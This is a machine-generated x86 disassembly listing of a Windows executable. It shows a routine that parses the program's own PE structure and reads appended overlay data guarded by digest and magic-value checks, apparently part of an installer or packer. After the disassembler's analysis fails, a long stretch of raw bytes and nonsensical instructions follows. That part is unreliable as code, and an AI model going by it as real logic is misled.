; START	OF FUNCTION CHUNK FOR sub_4D2DD0


loc_4D35F3:				; CODE XREF: sub_4D2DD0+7D0j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_4D2DD0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D3610	proc near		; CODE XREF: sub_4D2DD0+368p
					; sub_4D2DD0+573p

var_308		= dword	ptr -308h
var_2EC		= dword	ptr -2ECh
var_2E8		= dword	ptr -2E8h
var_2E4		= dword	ptr -2E4h
var_2E0		= dword	ptr -2E0h
var_2DC		= dword	ptr -2DCh
var_2D8		= dword	ptr -2D8h
var_238		= dword	ptr -238h
var_234		= dword	ptr -234h
var_160		= dword	ptr -160h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_154		= dword	ptr -154h
var_150		= dword	ptr -150h
var_14C		= dword	ptr -14Ch
var_148		= dword	ptr -148h
var_144		= dword	ptr -144h
var_140		= dword	ptr -140h
var_13C		= byte ptr -13Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_130		= byte ptr -130h
var_C4		= byte ptr -0C4h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_A0		= byte ptr -0A0h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6C		= byte ptr -6Ch
var_68		= dword	ptr -68h
var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= byte ptr -4Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4DE420
		push	offset sub_4CC54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFCE0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_20], 0
		mov	edi, [ebp+arg_0]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		add	ecx, 0FFFFFFFFh
		mov	[ebp+var_1C], ecx
		mov	[ebp+var_28], 0FFFFFFFFh
		mov	[ebp+var_24], 0
		mov	[ebp+var_4], 0
		push	0
		push	0
		push	3
		push	0
		push	1
		push	80000000h
		mov	eax, [ebp+arg_0]
		push	eax
		call	ds:dword_4E16A8	; CreateFileA
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0FFFFFFFFh
		jnz	short loc_4D3690
		mov	ecx, 0EF000005h
		call	sub_4D8342


loc_4D3690:				; CODE XREF: sub_4D3610+74j
		push	0
		mov	ecx, [ebp+var_28]
		push	ecx
		call	ds:dword_4E1700	; GetFileSize
		mov	[ebp+var_54], eax
		mov	[ebp+var_78], 0
		mov	edx, [ebp+arg_8]
		and	edx, 0FFh
		test	edx, edx
		jz	loc_4D392F
		mov	eax, ds:dword_4E1684
		mov	ecx, [eax+24h]
		and	ecx, 2
		test	ecx, ecx
		jnz	loc_4D392F
		mov	edx, ds:dword_4E1684
		mov	eax, [edx+4]
		mov	[ebp+var_88], eax
		mov	ecx, [ebp+var_88]
		mov	edx, [ebp+var_88]
		add	edx, [ecx+3Ch]
		mov	ds:dword_4E1910, edx
		mov	eax, ds:dword_4E1910
		cmp	dword ptr [eax], 4550h
		jz	short loc_4D3705
		mov	ecx, 0EF000002h
		call	sub_4D8342


loc_4D3705:				; CODE XREF: sub_4D3610+E9j
		mov	ecx, ds:dword_4E1910
		xor	edx, edx
		mov	dx, [ecx+14h]
		mov	eax, ds:dword_4E1910
		lea	ecx, [eax+edx+18h]
		mov	[ebp+var_84], ecx
		mov	edx, ds:dword_4E1910
		add	edx, 98h
		mov	[ebp+var_7C], edx
		mov	[ebp+var_8C], 0
		mov	eax, ds:dword_4E1910
		xor	ecx, ecx
		mov	cx, [eax+6]
		mov	[ebp+var_80], ecx
		jmp	short loc_4D3752
; ---------------------------------------------------------------------------


loc_4D3749:				; CODE XREF: sub_4D3610:loc_4D3782j
		mov	edx, [ebp+var_80]
		sub	edx, 1
		mov	[ebp+var_80], edx


loc_4D3752:				; CODE XREF: sub_4D3610+137j
		cmp	[ebp+var_80], 0
		jl	loc_4D3893
		mov	eax, [ebp+var_80]
		imul	eax, 28h
		mov	ecx, [ebp+var_84]
		cmp	dword ptr [ecx+eax+10h], 0
		jz	short loc_4D3782
		mov	edx, [ebp+var_80]
		imul	edx, 28h
		mov	eax, [ebp+var_84]
		cmp	dword ptr [eax+edx+14h], 0
		jnz	short loc_4D3784


loc_4D3782:				; CODE XREF: sub_4D3610+15Dj
		jmp	short loc_4D3749
; ---------------------------------------------------------------------------


loc_4D3784:				; CODE XREF: sub_4D3610+170j
		mov	ecx, [ebp+var_80]
		imul	ecx, 28h
		mov	edx, [ebp+var_80]
		imul	edx, 28h
		mov	eax, [ebp+var_84]
		mov	edx, [eax+edx+10h]
		mov	eax, ds:dword_4E1910
		mov	eax, [eax+3Ch]
		lea	edx, [edx+eax-1]
		mov	eax, ds:dword_4E1910
		mov	eax, [eax+3Ch]
		sub	eax, 1
		not	eax
		and	edx, eax
		mov	eax, [ebp+var_84]
		mov	ecx, [eax+ecx+14h]
		add	ecx, edx
		mov	[ebp+var_8C], ecx
		push	0
		push	0
		mov	edx, [ebp+var_8C]
		push	edx
		mov	eax, [ebp+var_28]
		push	eax
		call	ds:dword_4E1788	; SetFilePointer
		mov	[ebp+var_B4], eax
		push	0
		lea	ecx, [ebp+var_90]
		push	ecx
		push	20h
		lea	edx, [ebp+var_B0]
		push	edx
		mov	eax, [ebp+var_28]
		push	eax
		call	ds:dword_4E177C	; ReadFile
		test	eax, eax
		jz	loc_4D3893
		cmp	[ebp+var_90], 20h
		jnz	loc_4D3893
		lea	ecx, [ebp+var_130]
		call	sub_4D7798
		push	10h
		lea	ecx, [ebp+var_B0]
		push	ecx
		lea	ecx, [ebp+var_130]
		call	sub_4D77A4
		lea	edx, [ebp+var_C4]
		push	edx
		lea	ecx, [ebp+var_130]
		call	sub_4D785D
		mov	ecx, 4
		lea	edi, [ebp+var_A0]
		lea	esi, [ebp+var_C4]
		xor	eax, eax
		repe cmpsd
		jnz	short loc_4D3893
		mov	ecx, [ebp+var_8C]
		add	ecx, [ebp+var_B0]
		mov	[ebp+var_78], ecx
		push	2
		push	0
		push	0
		mov	edx, [ebp+var_28]
		push	edx
		call	ds:dword_4E1788	; SetFilePointer
		mov	[ebp+var_134], eax
		mov	eax, [ebp+var_134]
		sub	eax, [ebp+var_78]
		neg	eax
		mov	[ebp+var_78], eax
		jmp	loc_4D392F
; ---------------------------------------------------------------------------


loc_4D3893:				; CODE XREF: sub_4D3610+146j
					; sub_4D3610+1F0j ...
		mov	ecx, [ebp+var_7C]
		cmp	dword ptr [ecx], 0
		jz	loc_4D392F
		mov	edx, [ebp+var_7C]
		cmp	dword ptr [edx+4], 0
		jz	loc_4D392F
		mov	eax, [ebp+var_7C]
		mov	ecx, [ebp+var_54]
		sub	ecx, [eax]
		neg	ecx
		mov	[ebp+var_78], ecx
		mov	edx, [ebp+var_7C]
		mov	eax, [edx]
		mov	[ebp+var_54], eax
		mov	[ebp+var_138], 0


loc_4D38CB:				; CODE XREF: sub_4D3610+31Dj
		push	2
		push	0
		mov	ecx, [ebp+var_78]
		sub	ecx, 1
		push	ecx
		mov	edx, [ebp+var_28]
		push	edx
		call	ds:dword_4E1788	; SetFilePointer
		mov	[ebp+var_140], eax
		push	0
		lea	eax, [ebp+var_13C]
		push	eax
		push	1
		lea	ecx, [ebp+var_138]
		push	ecx
		mov	edx, [ebp+var_28]
		push	edx
		call	ds:dword_4E177C	; ReadFile
		test	eax, eax
		jnz	short loc_4D3910
		mov	ecx, 0EF000006h
		call	sub_4D8342


loc_4D3910:				; CODE XREF: sub_4D3610+2F4j
		cmp	[ebp+var_138], 0
		jz	short loc_4D391B
		jmp	short loc_4D392F
; ---------------------------------------------------------------------------


loc_4D391B:				; CODE XREF: sub_4D3610+307j
		mov	eax, [ebp+var_78]
		sub	eax, 1
		mov	[ebp+var_78], eax
		mov	ecx, [ebp+var_54]
		sub	ecx, 1
		mov	[ebp+var_54], ecx
		jmp	short loc_4D38CB
; ---------------------------------------------------------------------------


loc_4D392F:				; CODE XREF: sub_4D3610+A1j
					; sub_4D3610+B4j ...
		push	2
		push	0
		mov	edx, [ebp+var_78]
		sub	edx, 4
		push	edx
		mov	eax, [ebp+var_28]
		push	eax
		call	ds:dword_4E1788	; SetFilePointer
		mov	[ebp+var_74], eax
		mov	ecx, [ebp+var_54]
		add	ecx, [ebp+var_78]
		mov	[ebp+var_54], ecx
		mov	[ebp+var_144], 0
		push	0
		lea	edx, [ebp+var_144]
		push	edx
		push	4
		lea	eax, [ebp+var_148]
		push	eax
		mov	ecx, [ebp+var_28]
		push	ecx
		call	ds:dword_4E177C	; ReadFile
		test	eax, eax
		jz	short loc_4D3983
		cmp	[ebp+var_144], 4
		jz	short loc_4D398D


loc_4D3983:				; CODE XREF: sub_4D3610+368j
		mov	ecx, 0EF000006h
		call	sub_4D8342


loc_4D398D:				; CODE XREF: sub_4D3610+371j
		cmp	[ebp+var_148], 0CAFEBABEh
		jz	short loc_4D39B0
		mov	edx, [ebp+var_148]
		xor	edx, 0CAFEBABEh
		xor	edx, [ebp+var_54]
		mov	[ebp+var_308], edx
		jmp	short loc_4D39BB
; ---------------------------------------------------------------------------


loc_4D39B0:				; CODE XREF: sub_4D3610+387j
		mov	eax, ds:dword_4E0BD8
		mov	[ebp+var_308], eax


loc_4D39BB:				; CODE XREF: sub_4D3610+39Ej
		mov	ecx, [ebp+var_308]
		mov	[ebp+var_14C], ecx
		mov	edx, [ebp+arg_4]
		and	edx, 0FFh
		test	edx, edx
		jz	short loc_4D39EF
		mov	eax, offset dword_4E0BD8
		lea	ecx, [ebp+var_14C]
		mov	edx, [ecx]
		cmp	edx, [eax]
		jz	short loc_4D39EF
		mov	ecx, 0EF000007h
		call	sub_4D8342


loc_4D39EF:				; CODE XREF: sub_4D3610+3C2j
					; sub_4D3610+3D3j
		push	2
		push	0
		mov	eax, [ebp+var_78]
		sub	eax, 14h
		push	eax
		mov	ecx, [ebp+var_28]
		push	ecx
		call	ds:dword_4E1788	; SetFilePointer
		mov	[ebp+var_150], 0
		push	0
		lea	edx, [ebp+var_150]
		push	edx
		push	10h
		lea	eax, [ebp+var_4C]
		push	eax
		mov	ecx, [ebp+var_28]
		push	ecx
		call	ds:dword_4E177C	; ReadFile
		test	eax, eax
		jz	short loc_4D3A34
		cmp	[ebp+var_150], 10h
		jz	short loc_4D3A3E


loc_4D3A34:				; CODE XREF: sub_4D3610+419j
		mov	ecx, 0EF000006h
		call	sub_4D8342


loc_4D3A3E:				; CODE XREF: sub_4D3610+422j
		mov	edx, [ebp+arg_8]
		and	edx, 0FFh
		neg	edx
		sbb	edx, edx
		and	edx, 0Ch
		mov	[ebp+var_68], edx
		push	2
		push	0
		mov	eax, [ebp+var_68]
		add	eax, 2Ch
		mov	ecx, [ebp+var_78]
		sub	ecx, eax
		push	ecx
		mov	edx, [ebp+var_28]
		push	edx
		call	ds:dword_4E1788	; SetFilePointer
		mov	[ebp+var_154], 0
		mov	eax, [ebp+arg_8]
		and	eax, 0FFh
		test	eax, eax
		jz	loc_4D3B15
		push	0
		lea	ecx, [ebp+var_154]
		push	ecx
		push	4
		lea	edx, [ebp+var_34]
		push	edx
		mov	eax, [ebp+var_28]
		push	eax
		call	ds:dword_4E177C	; ReadFile
		test	eax, eax
		jz	short loc_4D3AAB
		cmp	[ebp+var_154], 4
		jz	short loc_4D3AB5


loc_4D3AAB:				; CODE XREF: sub_4D3610+490j
		mov	ecx, 0EF000006h
		call	sub_4D8342


loc_4D3AB5:				; CODE XREF: sub_4D3610+499j
		push	0
		lea	ecx, [ebp+var_154]
		push	ecx
		push	4
		lea	edx, [ebp+var_50]
		push	edx
		mov	eax, [ebp+var_28]
		push	eax
		call	ds:dword_4E177C	; ReadFile
		test	eax, eax
		jz	short loc_4D3ADB
		cmp	[ebp+var_154], 4
		jz	short loc_4D3AE5


loc_4D3ADB:				; CODE XREF: sub_4D3610+4C0j
		mov	ecx, 0EF000006h
		call	sub_4D8342


loc_4D3AE5:				; CODE XREF: sub_4D3610+4C9j
		push	0
		lea	ecx, [ebp+var_154]
		push	ecx
		push	4
		lea	edx, [ebp+var_38]
		push	edx
		mov	eax, [ebp+var_28]
		push	eax
		call	ds:dword_4E177C	; ReadFile
		test	eax, eax
		jz	short loc_4D3B0B
		cmp	[ebp+var_154], 4
		jz	short loc_4D3B15


loc_4D3B0B:				; CODE XREF: sub_4D3610+4F0j
		mov	ecx, 0EF000006h
		call	sub_4D8342


loc_4D3B15:				; CODE XREF: sub_4D3610+46Fj
					; sub_4D3610+4F9j
		push	0
		lea	ecx, [ebp+var_154]
		push	ecx
		push	4
		lea	edx, [ebp+var_60]
		push	edx
		mov	eax, [ebp+var_28]
		push	eax
		call	ds:dword_4E177C	; ReadFile
		test	eax, eax
		jz	short loc_4D3B3B
		cmp	[ebp+var_154], 4
		jz	short loc_4D3B45


loc_4D3B3B:				; CODE XREF: sub_4D3610+520j
		mov	ecx, 0EF000006h
		call	sub_4D8342


loc_4D3B45:				; CODE XREF: sub_4D3610+529j
		push	0
		lea	ecx, [ebp+var_154]
		push	ecx
		push	4
		lea	edx, [ebp+var_70]
		push	edx
		mov	eax, [ebp+var_28]
		push	eax
		call	ds:dword_4E177C	; ReadFile
		test	eax, eax
		jz	short loc_4D3B6B
		cmp	[ebp+var_154], 4
		jz	short loc_4D3B75


loc_4D3B6B:				; CODE XREF: sub_4D3610+550j
		mov	ecx, 0EF000006h
		call	sub_4D8342


loc_4D3B75:				; CODE XREF: sub_4D3610+559j
		push	0
		lea	ecx, [ebp+var_154]
		push	ecx
		push	4
		lea	edx, [ebp+var_3C]
		push	edx
		mov	eax, [ebp+var_28]
		push	eax
		call	ds:dword_4E177C	; ReadFile
		test	eax, eax
		jz	short loc_4D3B9B
		cmp	[ebp+var_154], 4
		jz	short loc_4D3BA5


loc_4D3B9B:				; CODE XREF: sub_4D3610+580j
		mov	ecx, 0EF000006h
		call	sub_4D8342


loc_4D3BA5:				; CODE XREF: sub_4D3610+589j
		push	0
		lea	ecx, [ebp+var_154]
		push	ecx
		push	4
		lea	edx, [ebp+var_64]
		push	edx
		mov	eax, [ebp+var_28]
		push	eax
		call	ds:dword_4E177C	; ReadFile
		test	eax, eax
		jz	short loc_4D3BCB
		cmp	[ebp+var_154], 4
		jz	short loc_4D3BD5


loc_4D3BCB:				; CODE XREF: sub_4D3610+5B0j
		mov	ecx, 0EF000006h
		call	sub_4D8342


loc_4D3BD5:				; CODE XREF: sub_4D3610+5B9j
		push	0
		lea	ecx, [ebp+var_154]
		push	ecx
		push	4
		lea	edx, [ebp+var_6C]
		push	edx
		mov	eax, [ebp+var_28]
		push	eax
		call	ds:dword_4E177C	; ReadFile
		test	eax, eax
		jz	short loc_4D3BFB
		cmp	[ebp+var_154], 4
		jz	short loc_4D3C05


loc_4D3BFB:				; CODE XREF: sub_4D3610+5E0j
		mov	ecx, 0EF000006h
		call	sub_4D8342


loc_4D3C05:				; CODE XREF: sub_4D3610+5E9j
		push	0
		lea	ecx, [ebp+var_154]
		push	ecx
		push	4
		lea	edx, [ebp+var_58]
		push	edx
		mov	eax, [ebp+var_28]
		push	eax
		call	ds:dword_4E177C	; ReadFile
		test	eax, eax
		jz	short loc_4D3C2B
		cmp	[ebp+var_154], 4
		jz	short loc_4D3C35


loc_4D3C2B:				; CODE XREF: sub_4D3610+610j
		mov	ecx, 0EF000006h
		call	sub_4D8342


loc_4D3C35:				; CODE XREF: sub_4D3610+619j
		mov	ecx, [ebp+arg_8]
		and	ecx, 0FFh
		test	ecx, ecx
		jz	loc_4D3E52
		cmp	[ebp+var_50], 0
		jz	loc_4D3E52
		cmp	[ebp+var_34], 0
		jz	loc_4D3E52
		push	24h
		call	sub_4D835A
		add	esp, 4
		mov	[ebp+var_2D8], eax
		mov	edx, [ebp+var_2D8]
		mov	[ebp+var_158], edx
		mov	eax, [ebp+var_1C]
		add	eax, 1
		push	eax
		call	sub_4D835A
		add	esp, 4
		mov	[ebp+var_2DC], eax
		mov	ecx, [ebp+var_158]
		mov	edx, [ebp+var_2DC]
		mov	[ecx+0Ch], edx
		mov	ecx, [ebp+var_1C]
		add	ecx, 1
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+var_158]
		mov	edi, [eax+0Ch]
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+var_158]
		mov	dword ptr [eax], 0
		push	10h
		call	sub_4D835A
		add	esp, 4
		mov	[ebp+var_2E0], eax
		mov	ecx, [ebp+var_158]
		mov	edx, [ebp+var_2E0]
		mov	[ecx+4], edx
		push	4
		call	sub_4D835A
		add	esp, 4
		mov	[ebp+var_2E4], eax
		mov	eax, [ebp+var_158]
		mov	ecx, [ebp+var_2E4]
		mov	[eax+8], ecx
		mov	edx, [ebp+var_158]
		mov	dword ptr [edx+18h], 1
		mov	eax, [ebp+var_158]
		mov	dword ptr [eax+14h], 0
		push	0
		push	0
		mov	ecx, [ebp+var_158]
		add	ecx, 1Ch
		push	ecx
		mov	edx, [ebp+var_28]
		push	edx
		call	ds:dword_4E1704	; GetFileTime
		mov	edi, ds:dword_4E190C
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		add	ecx, 0FFFFFFFFh
		mov	eax, ds:dword_4E1908
		sub	ecx, [eax+0C14h]
		mov	[ebp+var_15C], ecx
		mov	ecx, [ebp+var_15C]
		add	ecx, 1
		push	ecx
		call	sub_4D835A
		add	esp, 4
		mov	[ebp+var_2E8], eax
		mov	edx, [ebp+var_158]
		mov	eax, [edx+4]
		mov	ecx, [ebp+var_2E8]
		mov	[eax], ecx
		mov	edx, [ebp+var_158]
		mov	eax, [edx+4]
		mov	ecx, [ebp+var_158]
		mov	edx, [ecx+8]
		mov	eax, [eax]
		mov	[edx], eax
		mov	ecx, [ebp+var_15C]
		add	ecx, 1
		mov	edx, ds:dword_4E1908
		mov	esi, ds:dword_4E190C
		add	esi, [edx+0C14h]
		mov	eax, [ebp+var_158]
		mov	edx, [eax+8]
		mov	edi, [edx]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebp+var_15C]
		push	ecx
		mov	edx, [ebp+var_158]
		mov	eax, [edx+8]
		mov	ecx, [eax]
		push	ecx
		call	ds:dword_4E17C8	; CharUpperBuffA
		mov	edx, [ebp+var_158]
		mov	eax, [edx+4]
		mov	ecx, [ebp+var_34]
		mov	[eax+4], ecx
		mov	edx, [ebp+var_158]
		mov	eax, [edx+4]
		mov	ecx, [ebp+var_50]
		mov	[eax+8], ecx
		mov	edx, [ebp+var_158]
		mov	eax, [edx+4]
		mov	ecx, [ebp+var_38]
		mov	[eax+0Ch], ecx
		mov	edx, ds:dword_4E1908
		mov	[ebp+var_160], edx
		mov	eax, [ebp+var_158]
		mov	ecx, [ebp+var_160]
		mov	edx, [ecx]
		mov	[eax+10h], edx
		mov	eax, [ebp+var_160]
		mov	ecx, [ebp+var_158]
		mov	[eax], ecx
		mov	edx, ds:dword_4E1908
		mov	eax, [edx+4]
		add	eax, 1
		mov	ecx, ds:dword_4E1908
		mov	[ecx+4], eax


loc_4D3E52:				; CODE XREF: sub_4D3610+630j
					; sub_4D3610+63Aj ...
		mov	edx, [ebp+var_54]
		sub	edx, [ebp+var_58]
		mov	[ebp+var_58], edx
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_58]
		mov	[ebp+var_3C], eax
		mov	ecx, [ebp+var_54]
		sub	ecx, [ebp+var_3C]
		test	ecx, ecx
		jb	short loc_4D3E79
		mov	edx, [ebp+var_54]
		sub	edx, [ebp+var_3C]
		cmp	[ebp+var_60], edx
		jbe	short loc_4D3E83


loc_4D3E79:				; CODE XREF: sub_4D3610+85Cj
		mov	ecx, 0EF000007h
		call	sub_4D8342


loc_4D3E83:				; CODE XREF: sub_4D3610+867j
		mov	eax, [ebp+var_60]
		push	eax
		call	sub_4D835A
		add	esp, 4
		mov	[ebp+var_2EC], eax
		mov	ecx, [ebp+var_2EC]
		mov	[ebp+var_24], ecx
		mov	[ebp+var_234], 0
		mov	[ebp+var_238], 0
		push	0
		push	0
		mov	edx, [ebp+var_3C]
		push	edx
		mov	eax, [ebp+var_28]
		push	eax
		call	ds:dword_4E1788	; SetFilePointer


loc_4D3EC4:				; CODE XREF: sub_4D3610+90Aj
		mov	ecx, [ebp+var_238]
		cmp	ecx, [ebp+var_60]
		jz	short loc_4D3F1C
		mov	[ebp+var_234], 0
		push	0
		lea	edx, [ebp+var_234]
		push	edx
		mov	eax, [ebp+var_60]
		sub	eax, [ebp+var_238]
		push	eax
		mov	ecx, [ebp+var_24]
		push	ecx
		mov	edx, [ebp+var_28]
		push	edx
		call	ds:dword_4E177C	; ReadFile
		test	eax, eax
		jnz	short loc_4D3F08
		mov	ecx, 0EF000006h
		call	sub_4D8342


loc_4D3F08:				; CODE XREF: sub_4D3610+8ECj
		mov	eax, [ebp+var_238]
		add	eax, [ebp+var_234]
		mov	[ebp+var_238], eax
		jmp	short loc_4D3EC4
; ---------------------------------------------------------------------------


loc_4D3F1C:				; CODE XREF: sub_4D3610+8BDj
		push	120000h
		call	sub_4CDB7E
		fxch4	st(2)
		push	esp
		mov	ebp, 46EE4704h
		fst	st
		iret
sub_4D3610	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0F5h, 0E9h, 1Eh
		dd 0D5E28C45h, 8C62D4A7h, 7CF0AAEEh, 88AF283Eh,	0D6A56BD3h
		dd 7F01D584h, 9F85C5B6h, 0E7618390h, 0A2424F41h, 0FED9E4FEh
		dd 0CDB905E3h, 55C9DCC0h, 0EF5F05A1h, 6E843F49h, 52F6001Ah
		dd 67F55184h, 978DDDCEh, 1D797B88h, 0BA3A4746h,	6F9ECF7h
		dd 0C5B6D5FBh, 339090B8h, 75D285D2h, 4C8D8DEEh,	0E8FFFFFDh
		dd 37FCh, 50A0458Bh, 51DC4D8Bh,	0FD4C8D8Dh, 0F5E8FFFFh
		dd 8D000037h, 0FFFDB895h, 8D8D52FFh, 0FFFFFD4Ch, 389CE8h
		dd 4B900h, 0BD8D0000h, 0FFFFFDB8h, 33B4758Dh, 74A7F3C0h
		dd 7B90Ah, 63E8EF00h, 6A000043h, 4374E824h, 0C4830000h
		dd 10858904h, 8BFFFFFDh, 0FFFD108Dh, 0E04D89FFh, 83E4558Bh
		dd 0E85201C2h, 4356h, 8904C483h, 0FFFD0C85h, 0E0458BFFh
		dd 0FD0C8D8Bh, 4889FFFFh, 0E44D8B0Ch, 8B01C183h, 558B0875h
		dd 0C7A8BE0h, 0E9C1C18Bh, 8BA5F302h, 3E183C8h, 4D8BA4F3h
		dd 0DC558BE0h, 458B1189h, 9C4503DCh, 89E04D8Bh,	558B0441h
		dd 2E2C194h, 4304E852h,	0C4830000h, 8858904h, 8BFFFFFDh
		dd 8D8BE045h, 0FFFFFD08h, 8B084889h, 458BE055h,	18428994h
		dd 0C7E04D8Bh, 1441h, 558D0000h, 458D52D0h, 4D8B50D0h
		dd 1CC183E0h, 0D8558B51h, 415FF52h, 8B004E17h, 7883E045h
		dd 16750020h, 83E04D8Bh, 75001C79h, 0E0558B0Dh,	521CC283h
		dd 172C15FFh, 45C7004Eh, 0A4h, 8B09EB00h, 0C083A445h, 0A4458901h
		dd 3BA44D8Bh, 830F944Dh, 0E3h, 0C1A4558Bh, 458B04E2h, 4488BE0h
		dd 3DC458Bh, 4D8B1104h,	4E1C1A4h, 8BE0558Bh, 4890452h
		dd 0A4458B0Ah, 8B04E0C1h, 518BE04Dh, 23C8B04h, 33FFC983h
		dd 0F7AEF2C0h, 0FFC183D1h, 0FD488D89h, 858BFFFFh, 0FFFFFD48h
		dd 5001C083h, 4235E8h, 4C48300h, 0FD048589h, 4D8BFFFFh
		dd 8518BE0h, 8BA4458Bh,	0FFFD048Dh, 820C89FFh, 0FD488D8Bh
		dd 0C183FFFFh, 0A4558B01h, 8B04E2C1h
		db 45h,	0E0h
word_4D4152	dw 408Bh		; DATA XREF: _2:off_429D5Co
		dd 10348B04h, 8BE0558Bh, 558B0842h, 903C8BA4h, 0E9C1C18Bh
		dd 8BA5F302h, 3E183C8h,	8D8BA4F3h, 0FFFFFD48h, 0A4558B51h
		dd 8B04E2C1h, 488BE045h, 11148B04h, 0C815FF52h,	8B004E17h
		dd 0E0C1A445h, 0E04D8B04h, 8B04518Bh, 3040244h,	4D8BA845h
		dd 4E1C1A4h, 8BE0558Bh,	44890452h, 8E9040Ah, 8BFFFFFFh
		dd 4503DC45h, 0FC7881A0h, 0FEFEFEFEh, 0A7850Fh,	4D8B0000h
		dd 0A04D03DCh, 89F8518Bh, 0FFFD3C95h, 0DC458BFFh, 8BA04503h
		dd 8D89F448h, 0FFFFFD40h, 3DC558Bh, 0FFFD4095h,	449589FFh
		dd 0C7FFFFFDh, 0FFFD3885h, 0FFh, 8B0FEB00h, 0FFFD3885h
		dd 1C083FFh, 0FD388589h, 8D8BFFFFh, 0FFFFFD38h,	0FD3C8D3Bh
		dd 3A73FFFFh, 0FD38958Bh, 0D26BFFFFh, 44858B18h, 3FFFFFDh
		dd 348589C2h, 8BFFFFFDh, 0FFFD348Dh, 0DC558BFFh, 8B105103h
		dd 0FFFD3485h, 105089FFh, 0FD348D8Bh, 8D89FFFFh, 0FFFFFD30h
		dd 958BA9EBh, 0FFFFFD44h, 18F01589h, 858B004Eh,	0FFFFFD3Ch
		dd 4E18F4A3h, 80D8B00h,	89004E19h, 0FFFD2C8Dh, 2C958BFFh
		dd 83FFFFFDh, 840F003Ah, 152h, 8908458Bh, 0FFFCF485h, 2C8D8BFFh
		dd 8BFFFFFDh, 0C428B11h, 0FCF08589h, 8D8BFFFFh,	0FFFFFCF0h
		dd 9588118Ah, 0FFFFFCEFh, 0FCF4858Bh, 103AFFFFh, 0BD804675h
		dd 0FFFFFCEFh, 8B317400h, 0FFFCF08Dh, 1518AFFh,	0FCEE9588h
		dd 858BFFFFh, 0FFFFFCF4h, 7501503Ah, 0F0858323h, 2FFFFFCh
		dd 0FCF48583h, 8002FFFFh, 0FFFCEEBDh, 0AE7500FFh, 0FCE885C7h
		dd 0FFFFh, 0BEB0000h, 0D983C91Bh, 0E88D89FFh, 8BFFFFFCh
		dd 0FFFCE895h, 0E49589FFh, 83FFFFFCh, 0FFFCE4BDh, 57D00FFh
		dd 0B5E9h, 1908A100h, 0C083004Eh, 0E0858910h, 8BFFFFFCh
		dd 0FFFD2C8Dh, 8B118BFFh, 85890C42h, 0FFFFFCDCh, 0FCDC8D8Bh
		dd 118AFFFFh, 0FCDB9588h, 858BFFFFh, 0FFFFFCE0h, 4675103Ah
		dd 0FCDBBD80h, 7400FFFFh, 0DC8D8B31h, 8AFFFFFCh, 95880151h
		dd 0FFFFFCDAh, 0FCE0858Bh, 503AFFFFh, 83237501h, 0FFFCDC85h
		dd 858302FFh, 0FFFFFCE0h, 0DABD8002h, 0FFFFFCh,	85C7AE75h
		dd 0FFFFFCD4h, 0
; ---------------------------------------------------------------------------
		jmp	short loc_4D43B1
; ---------------------------------------------------------------------------
		sbb	ecx, ecx
		sbb	ecx, 0FFFFFFFFh
		mov	[ebp-32Ch], ecx


loc_4D43B1:				; CODE XREF: _4:004D43A4j
		mov	edx, [ebp-32Ch]
		mov	[ebp-330h], edx
		cmp	dword ptr [ebp-330h], 0
		jnz	short loc_4D43C8
		jmp	short loc_4D43DE
; ---------------------------------------------------------------------------


loc_4D43C8:				; CODE XREF: _4:004D43C4j
		mov	eax, [ebp-2D4h]
		mov	ecx, [eax]
		add	ecx, 10h
		mov	[ebp-2D4h], ecx
		jmp	near ptr dword_4D4154+129h
; ---------------------------------------------------------------------------


loc_4D43DE:				; CODE XREF: _4:004D43C6j
		mov	edx, [ebp-20h]
		mov	eax, [ebp-2D4h]
		mov	ecx, [eax]
		mov	[edx+10h], ecx
		mov	edx, [ebp-2D4h]
		mov	eax, [ebp-20h]
		mov	[edx], eax
		mov	ecx, ds:dword_4E1908
		mov	edx, [ecx+4]
		add	edx, [ebp-6Ch]
		mov	eax, ds:dword_4E1908
		mov	[eax+4], edx
		mov	dword ptr [ebp-24h], 0
		mov	dword ptr [ebp-20h], 0
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_4D4427
		jmp	short loc_4D4474

; =============== S U B	R O U T	I N E =======================================



sub_4D4427	proc near		; CODE XREF: _4:004D4420p
					; DATA XREF: _5:004DE428o
		cmp	dword ptr [ebp-28h], 0FFFFFFFFh
		jz	short loc_4D4437
		mov	ecx, [ebp-28h]
		push	ecx
		call	ds:dword_4E16A4	; CloseHandle


loc_4D4437:				; CODE XREF: sub_4D4427+4j
		cmp	dword ptr [ebp-24h], 0
		jz	short loc_4D4455
		mov	edx, [ebp-24h]
